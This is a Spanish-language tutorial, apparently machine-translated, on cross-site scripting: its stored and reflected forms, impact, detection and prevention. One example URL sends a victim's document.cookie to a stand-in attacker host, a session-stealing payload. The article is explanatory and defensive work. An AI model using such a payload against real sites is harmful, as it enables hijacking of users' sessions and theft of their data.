Introducción a las secuencias de comandos de sitios cruzados

  • Con el creciente número de aplicaciones web en Internet, la seguridad web se ha convertido en una preocupación importante. Hackear y robar los datos privados de los usuarios ahora es común y los amenaza con usar cualquier aplicación. Cross Site Scripting es uno de los ataques populares a la seguridad web de los usuarios. Vamos a obtener una idea de lo que es la secuencia de comandos entre sitios.
  • Cross Site Scripting, denominado XSS, es una vulnerabilidad de seguridad informática en la que el atacante pretende agregar un código malicioso en forma de scripts en un sitio web / página web confiable. Es un ataque de inyección de código del lado del cliente y el script malicioso se ejecuta en el navegador web del usuario cuando accede a ese sitio web / página web. Indirectamente, este sitio web se convierte en un medio para enviar el código malicioso al usuario. Al inyectar scripts, los atacantes omiten el DOM (Modelo de objetos de documento) de las restricciones de seguridad y obtienen acceso al contenido sensible de la página del usuario, las cookies de sesión y el historial de navegación de la mayoría de los datos privados que mantiene el navegador.
  • El sitio web que contiene foros, tableros de mensajes, páginas web que permiten comentarios y aquellos que utilizan la entrada del usuario sin desinfectar y la salida generada de esta manera son más vulnerables a los ataques XSS. Aunque los ataques XSS son posibles en VBScript, ActiveX y CSS, son más comunes en Javascript, ya que es fundamental para la mayoría de las experiencias de navegación.

Diferentes tipos de secuencias de comandos de sitios cruzados (XSS)

Aunque no existe una clasificación particular de Cross Site Scripting, algunos expertos la han clasificado en dos tipos que se analizan a continuación en detalle:

Ataques XSS almacenados :

  • Los XSS almacenados son aquellos en los que el script malicioso inyectado por el atacante se almacena en la base de datos y se ejecuta en el navegador del usuario cuando intenta acceder a la base de datos de alguna forma. También se conocen como XSS persistentes o almacenados. Este es uno de los ataques más devastadores y ocurre especialmente cuando el sitio web / página web permite comentar o permite incrustar contenido HTML.
  • El atacante agrega el javascript en el comentario que se almacena en la base de datos y cuando el usuario accede a la página afectada recuperando los datos de la base de datos que el script malicioso ejecuta en su navegador y ese atacante obtiene acceso no autorizado a los datos privados del usuario.
  • Por ejemplo, en un sitio web de comercio electrónico como Olx que tiene un cuadro de mensaje no desinfectado para la descripción del producto, un atacante que es el vendedor del producto agrega el JavaScript malicioso y se almacenará en la base de datos del sitio web.
  • Cuando el comprador abra la descripción del producto para ver los detalles del producto, ahora se convertirá en la víctima a medida que el script se ejecute en su navegador web y todos los detalles del usuario que el navegador permite serán secuestrados.

Procedimiento XSS ataques:

  • Esta es una de las formas más comunes por las cuales un atacante puede causar un ataque XSS al usuario. Básicamente, en los ataques del Procedimiento XSS, el atacante apunta a la víctima enviando un correo electrónico, un enlace malicioso o adjuntando una cadena en el resultado de búsqueda que apunta a un sitio web confiable pero contiene el código JavaScript malicioso.
  • Si una víctima hace clic en esa URL, inicia la solicitud HTTP y envía una solicitud a la aplicación web vulnerable. Luego, la solicitud regresa a la víctima con una respuesta de código de JavaScript incrustado que ejecuta el navegador web considerando que proviene de un sitio web confiable que da como resultado el secuestro de los datos confidenciales de su navegador.
  • Por ejemplo, en un sitio web de comercio electrónico, hay un cuadro de búsqueda en el que un usuario puede buscar los artículos y la cadena escrita en el cuadro de búsqueda es visible en la URL del sitio web cuando se envía la solicitud de búsqueda al servidor.
  • El atacante crea un enlace en el que el script malicioso se concatena en la URL y se lo envía a la víctima por correo electrónico. Cuando la víctima abre ese enlace, la solicitud se envía al sitio web malicioso del atacante y todos los datos del navegador de la víctima son secuestrados y enviados al sistema del atacante.

¿Cómo funciona Cross Site Scripting (XSS)?

  • En la vulnerabilidad Cross Site Scripting (XSS), el motivo principal del atacante es robar los datos del usuario ejecutando el script malicioso en su navegador que se inyecta en el contenido del sitio web que el usuario está utilizando a través de diferentes medios.
  • Por ejemplo, cuando un usuario busca texto en un sitio web, la solicitud se envía al servidor en el formulario:

https://www.abcwebsite.com/search?q=text1

En el resultado de la búsqueda, el sitio web devuelve el resultado junto con lo que el usuario buscó, como:

Usted buscó: text1

Si la funcionalidad de búsqueda es vulnerable a XSS, el atacante puede agregar el script malicioso en la URL:

https://www.abcwebsite.com/search= document location = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Cuando la víctima hace clic en este enlace, redirige al sitio web malicioso, es decir, https://attacker.com y todos los datos del navegador se envían directamente a la computadora del atacante, lo que resulta en el robo de todos los tokens / cookies de sesión.
  • De esta manera, un atacante inyecta su secuencia de comandos maliciosa en la URL, el atacante también puede almacenar esa secuencia de comandos en el servidor que se encuentra bajo XSS almacenado.

Impacto de las vulnerabilidades de secuencias de comandos entre sitios:

El impacto de las secuencias de comandos de sitios cruzados varía mucho. Después de explotar la vulnerabilidad XSS, un atacante obtiene el control total del navegador de la víctima y puede realizar diferentes acciones que varían desde pequeñas como ver el historial del navegador hasta desastrosas como insertar gusanos en la computadora.

Algunas de las acciones que el atacante puede realizar al explotar la vulnerabilidad XSS son las siguientes:

  1. Fugas de información confidencial como nombre de usuario y contraseña.
  2. Insertar gusanos en la computadora.
  3. Redirigir al usuario a un sitio web peligroso y obligarlo a realizar algunas acciones
  4. Acceda al historial de navegación de la víctima.
  5. Instalación del programa del caballo de Troya.
  6. Obligue al usuario a realizar y modificar los valores en la aplicación obteniendo acceso a

Encontrar vulnerabilidades de secuencias de comandos entre sitios:

  • Las vulnerabilidades de XSS se producen por dos razones: la entrada del usuario no se valida antes de enviarla al servidor o la salida recibida en el navegador no está codificada en HTML. Teniendo en cuenta el impacto desastroso de la vulnerabilidad XSS y protegiendo la privacidad de los usuarios, es muy importante saber si la aplicación web es vulnerable a XSS o no.
  • Aunque XSS es difícil de identificar y eliminar, la mejor manera de verificarlo es realizar una revisión de seguridad del código y verificar todos los lugares donde la entrada de la solicitud HTTP puede aparecer como Salida en una aplicación. El uso de las herramientas de escaneo automático de vulnerabilidades que incluyen un módulo especializado de escáner XSS para escanear toda la aplicación web también puede ayudar a escanear y encontrar las vulnerabilidades en una aplicación.

¿Cómo prevenir XSS?

  • XSS es una vulnerabilidad de inyección de código, por lo que es muy importante codificar los datos que se envían al servidor y los datos que provienen del servidor al navegador de un usuario.
  • La validación de datos también es muy importante para que el navegador interprete el código sin comandos maliciosos. Se introdujeron diferentes métodos de prevención manteniendo la Validación y Codificación de datos como una prioridad para que un sitio web sea vulnerable a XSS.

Algunos puntos deben enfocarse para evitar XSS: -

  1. El soporte de Rastreo HTTP en todos los servidores web debe desactivarse ya que el atacante puede robar las cookies y los datos privados del navegador a través de una llamada de rastreo HTTP desde el servidor, incluso si document.cookie está deshabilitado en el navegador de la víctima.
  2. Los desarrolladores deben desinfectar la entrada y nunca deben generar los datos directamente recibidos del usuario sin validarlos.
  3. En general, los enlaces no se deben permitir si no comienzan con los protocolos de la lista blanca, como HTTP: //, https: //, evitando así el uso de esquemas URI como javascript: //

Conclusión:

Los ataques XSS son peligrosos y pueden dañar la privacidad del usuario y robar los datos a menos que el usuario normal explore la aplicación con cuidado. Por lo tanto, los desarrolladores al desarrollar la aplicación deben seguir las estrictas reglas de seguridad, especialmente para los datos y el servidor, de modo que la aplicación sea menos vulnerable a XSS y más usuarios puedan confiar en ella.

Artículos recomendados

Esta ha sido una guía de ¿Qué es el Cross Site Scripting? Aquí discutimos los diferentes tipos de sitios cruzados, trabajo, impacto y prevención de XSS respectivamente. También puede consultar nuestros otros artículos sugeridos para obtener más información:

  1. Cómo funciona JavaScript
  2. ¿Qué es un ataque de phishing?
  3. ¿Qué es un ataque cibernético?
  4. Caché HTTP
  5. ¿Cómo funcionan las cookies en JavaScript con Example?